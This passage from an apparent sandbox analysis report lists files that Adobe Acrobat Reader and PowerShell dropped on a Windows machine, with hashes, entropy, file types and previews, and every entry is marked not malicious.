SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJf21rPeUkwRe9:YvXKXlZvsvR/ZwHAzG+16Ukee9
MD5:	25FD7512B01D989A222FEB2121ADB5F3
SHA1:	03ECC58284546ABA50A93C4C68022371176F2E81
SHA-256:	E76361B3D7BB4DAB648112DF87781BC1906C91C3A0D0438348C94633C2E9E8E2
SHA-512:	33F6D3B96A516F939B80BD7E20904C22A80349C501A325310450EE9C9E36F769A84DC7DC97E921F44881E02D9AFC6CDE185B27BA972997C8D85A5BAB198DB8A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665404508439024
Encrypted:	false
SSDEEP:	24:Yv6XbvsJhwamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSed:YvMvsJh2BgkDMUJUAh8cvMed
MD5:	D68418AD310ECA0216E72B487DA5AA3D
SHA1:	8826367FE330EB5E8313ABEF6DC2E31C5D4A8455
SHA-256:	84D69EEE7B2EFAE2955E36DE1E15E050B66D1B2D94D025A1355D6EBF988FEAEC
SHA-512:	16F60D4F846575C89409373D97D946CA3B189386184D9F20CB337641C019A26535084B74536E1D12CCAA2085B81215AD89A8DAB1169C2756914D09144849489E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.217729875343952
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJfshHHrPeUkwRe9:YvXKXlZvsvR/ZwHAzGUUUkee9
MD5:	BF570125A01C2EBBCEF87EE6C50BCC08
SHA1:	21FC8FE3062327ABA34AE7A827BAE0B3DA35247F
SHA-256:	8083A949E4419CDEE708C604DE60B6614AC449433A565611EDBEC430D9DDD902
SHA-512:	B5A052D03C6AFE6A4417B8E0C4EDE47495FF73DDB1E9DF245066C3A5480EFD9557BC41603A84695F1390554079A1975144A1DA9536EC4FD765165EBC897223E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2409932769743195
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJTqgFCrPeUkwRe9:YvXKXlZvsvR/ZwHAzGTq16Ukee9
MD5:	227D1D331EAD2D4602CAF654FAD2B0EB
SHA1:	D2C3190B005823AE86B2A7AE1B6469EF0E6CAB89
SHA-256:	B12A6137D91E8664EC0AE2D698AE13B4C5E98B1A5DB0608824199D491646AD95
SHA-512:	B6A76D42A491A470E21D82D9EF3B40F908980952F770C8391A83E7FA2BE9B9A91B2D522C10F64F5AB8317F65096ECF0822615116FC1FF672DC53287FFEA82110
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13260448848399
Encrypted:	false
SSDEEP:	48:Y0H9CsCGCA8CActCkmCwCwoCQdDCTCp8ZCO/Gq0CmyM/C0C/5p93C1CXL:NH8cTCEdO0yMct
MD5:	0385DBE3602A33D5B7BAEE31013A7E5E
SHA1:	59A9A109A53D7F34C0ACC509BB252394F54B5CF1
SHA-256:	DDA7C9E390EA036E34AF7753717B20363B9586B53A66464F550D1F40E3FFB249
SHA-512:	7BF0B3D88193E541A0C05E0DB319A13612E231D4F0A826553B397F0F61ED42116763D8BFCA5B108BF3F4453030D79BF9EC14E939AD263AFAD43F071611860B87
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"eb77eb4d4b10616fcdcaa1c919e15ab0","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736577460000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d47a97fc05cebb20f1d791ef82b9c270","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736577460000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6c70278e31b0de784488a0c817a7fa39","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736577460000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4b67f52df6f198aaf8afbd5158162a74","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736577460000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"54eefb896a97f2fcccd110a01c706161","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736577460000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3e684f57f0deec43851e8264eb75bd8b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3196054735045641
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe0ptqVp+:TGufl2GL7ms9WR1CPmPbPah0XypilIWL
MD5:	F66CB89EEB8358C4352E15C98580553F
SHA1:	F7D877EB860F74C0639F247DE0FC550D09E977A4
SHA-256:	177A863C49B01C53DA53646AFD6AAF8C248F6E1D623EF03D9674A7AE1B919452
SHA-512:	BFBFF8C57955CED528F4A506019A9F5CE68DD23490BC813C7B71E8E08DCA2C7C087A6B40712D854AB4813240D9C1AA4D94B3D9256F3A18F105DE1AF3EFBB9E72
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7823529326626062
Encrypted:	false
SSDEEP:	24:7+tvlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe0p4qVpaVrScVr0IniqLhx/T:7M0WR1CPmPbPah0uypilI7qFl2GL7msd
MD5:	C3273466A740DBEAE3B9F8DDFBC32D05
SHA1:	C0D7F2EF73134AB002C1AB2392359BFF12B0513A
SHA-256:	D5A9DA682BBCACB11EEA3C807CC1A1C05AFAADEE32521FA0EA0072D34DFFA776
SHA-512:	11866D34F03C27F31940E77C2B7C66E9CE6E26F9A43BAF490E91DB494DF601542BBE7C9F5F5CB247D640481E91EDEC9D9E0E908CD92BFF4581131CF1F83E0A9D
Malicious:	false
Preview:	.... .c........B..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgErEFW6C3v5erAaggzS0/iGb6j6Yyu:6a6TZ44ADEErEFWJ5evxbP2mK
MD5:	A077E5E75B6FC7BBA975B320DB386847
SHA1:	4B8E6B840CC6AE80BED47E4153888C45C9A56385
SHA-256:	C015D21157B358551EFC5D451C67B08BD59E57C9C19E5BEE5250A1DDFEE8EF5B
SHA-512:	912CB0B86110554A94A8AEC0F967B7D5512D3A68C0D021A98B89FF2A7CD1B5772EB6E8742D5F4DE115A39C567011ADD0C1ABC06BF6A5CDE7F2145B8E3917A497
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIa85cf.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5136057226030957
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8Zaw:Qw946cPbiOxDlbYnuRKd9aw
MD5:	39DC64A07E878785DA4F04E84FECDFE8
SHA1:	9A98A8B8AAB5F97A41E4A8A482CB271D7E202716
SHA-256:	9435DE8653611EABBE31F80F1078C4EB14F74903D69B1FA7E2436EA04743D289
SHA-512:	E9CF33AD51B288AD27B824E54538078CC54ADD5289180C0B854355134C29A5905490C6BAD08A908E9B63D05440317FA69709018B73BF935F6C800E5C140E3059
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.3.7.:.3.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mn1xd0ey.uni.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vqq0ykcp.vdg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-37-34-955.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.352781692187973
Encrypted:	false
SSDEEP:	384:7+CHCSLghvZxcd7lu1Rzx6VGTTMr4lwkzQDR9XzGpRtNyn3jHHs5SxCxkNCsQfO1:i6BX
MD5:	65BF8895847DB4DB3E073F5425D3ED97
SHA1:	64E7EA2E11C62900FC9696FFAE13B8142BA0ADE3
SHA-256:	D3FF585A120E81A13D54FD8F696D95A7971EA38CCE363315155D3CD3D826E463
SHA-512:	6D402F548BEA64A75E26A92F1E2E5FA16D543FC7EFB06F27B7C494F0055D616F21BE2E7B29B90215B819731D9AE29B5B5E21288D50B6EFE1EF6D3824C9E4B039
Malicious:	false
Preview:	SessionID=846f77c4-63a7-4f53-90dd-df153539091a.1736577454973 Timestamp=2025-01-11T01:37:34:973-0500 ThreadID=1152 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=846f77c4-63a7-4f53-90dd-df153539091a.1736577454973 Timestamp=2025-01-11T01:37:34:974-0500 ThreadID=1152 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=846f77c4-63a7-4f53-90dd-df153539091a.1736577454973 Timestamp=2025-01-11T01:37:34:974-0500 ThreadID=1152 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=846f77c4-63a7-4f53-90dd-df153539091a.1736577454973 Timestamp=2025-01-11T01:37:34:974-0500 ThreadID=1152 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=846f77c4-63a7-4f53-90dd-df153539091a.1736577454973 Timestamp=2025-01-11T01:37:34:974-0500 ThreadID=1152 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.408242821713599
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbwcbUI5Dcbt:ceo4+rsCZ5s
MD5:	E0131CED477524D8EC20799C8FFA1468
SHA1:	35B14559B6972923CEC7B46CD2B4394BEEA5E025
SHA-256:	7611667BB1A8906EEA5268E48C301BDC3097B6A23693267DDA8DBD78ED9FBBB8
SHA-512:	37C0CB9C773D66298A0045E0C7A36640EAC2C4BD6305E9FD4AAFB64839C2DDBE4CE72F644140A3B71C7937EAE6615B03693D2435C2C0562979C8EE025EF13281
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3401bd43-585e-4d76-91dc-f28ae1d85312.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3b476aa0-e4e1-412b-9ab7-c85c9b28a774.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e0d3071e-7fdf-468d-8697-3afd0f218398.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\fa49c613-e6c9-4051-8214-9e9749fadc69.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
